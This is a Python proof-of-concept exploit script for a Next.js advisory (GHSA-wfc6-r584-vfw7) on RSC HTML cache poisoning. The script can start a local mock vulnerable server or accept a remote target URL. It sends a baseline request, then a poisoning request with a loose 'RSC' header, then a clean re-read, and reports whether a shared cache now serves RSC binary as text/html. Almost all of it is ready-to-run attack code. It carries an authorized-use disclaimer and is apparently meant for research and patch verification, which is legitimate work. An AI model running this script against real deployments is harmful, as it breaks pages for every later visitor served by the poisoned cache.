#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit permission
# to test.
"""
GHSA-wfc6-r584-vfw7 -- RSC HTML cache poisoning exploit.

Pre-patch a deployed Next.js (< 16.2.5) accepted ANY truthy RSC request header
AND passed a query-strung URL into onCacheEntryV2, so the deployment adapter
classified RSC payloads as text/html. End result: shared CDN caches end up
serving RSC binary as text/html.

Usage:
    python3 exploit.py                        # local mock harness on :8082
    python3 exploit.py http://target/path     # remote target
"""
import os
import signal
import subprocess
import sys
import time
import urllib.error
import urllib.request


class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  GHSA-wfc6-r584-vfw7 -- RSC HTML cache poisoning" + C.X)
    print(C.CY + C.B + "  Patched in 16.2.5 (af0e96ba23 + 0dd94836a8)" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def get(url: str, headers: dict | None = None, timeout: float = 10.0):
    req = urllib.request.Request(url, headers=headers or {})
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            body = r.read(2048)
            return r.status, dict(r.headers.items()), body
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers.items() if e.headers else []), e.read(2048)
    except Exception as e:
        return -1, {}, str(e).encode()


def maybe_start_mock(port: int = 8082):
    here = os.path.dirname(os.path.abspath(__file__))
    server = os.path.join(here, "vulnerable-app", "server.py")
    proc = subprocess.Popen(
        [sys.executable, server, "--port", str(port)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
    )
    time.sleep(1.0)
    return proc


def step(label: str, code: int, headers: dict, body: bytes):
    ct = next(
        (v for k, v in headers.items() if k.lower() == "content-type"),
        "<missing>",
    )
    print(f"{C.B}{label}{C.X}")
    print(f"    HTTP {code}  Content-Type: {ct}")
    print(f"    body[:80]: {body[:80]!r}")
    print()
    return ct.lower()


def main(argv):
    banner()
    target = argv[1] if len(argv) > 1 else None
    proc = None

    try:
        if not target:
            print(C.Y + "[*] no target supplied -> mock harness on :8082" + C.X)
            proc = maybe_start_mock(8082)
            target = "http://127.0.0.1:8082/tenant-x/samples?nxtPtenant=tenant-x"
        print(f"{C.B}[*] Target:{C.X} {target}\n")

        # Step 1: baseline
        c, h, b = get(target)
        ct1 = step("[1/3] Baseline (no RSC header):", c, h, b)

        # Step 2: poisoning request - loose RSC value
        c, h, b = get(target, {
            "RSC": "text/x-component",         # loose value, not '1'
            "Next-Router-Prefetch": "1",
        })
        ct2 = step("[2/3] Poisoning request:", c, h, b)
        poison_body = b

        # Step 3: subsequent clean client - cached?
        c, h, b = get(target)
        ct3 = step("[3/3] Re-read by clean client:", c, h, b)
        final_body = b

        rsc_marker = b.startswith(b"0:") or b"$react" in b or b"\"$\"," in b
        poison_marker = poison_body.startswith(b"0:") or b"\"$\"," in poison_body

        if "text/html" in ct3 and rsc_marker:
            print(C.G + C.B + "[+] VULNERABLE -- cache poisoned: RSC binary served as text/html." + C.X)
            print(C.G + "    Subsequent visitors will receive Flight framing rendered as HTML." + C.X)
            return 0
        if "text/html" in ct2 and poison_marker:
            print(C.G + C.B + "[+] VULNERABLE -- server mis-classified RSC payload as text/html." + C.X)
            print(C.G + "    A CDN keying on URL+query (not the RSC header) would cache this." + C.X)
            return 0

        print(C.R + "[-] Likely PATCHED -- RSC payload had correct content type." + C.X)
        return 1
    finally:
        if proc:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except ProcessLookupError:
                pass


if __name__ == "__main__":
    sys.exit(main(sys.argv))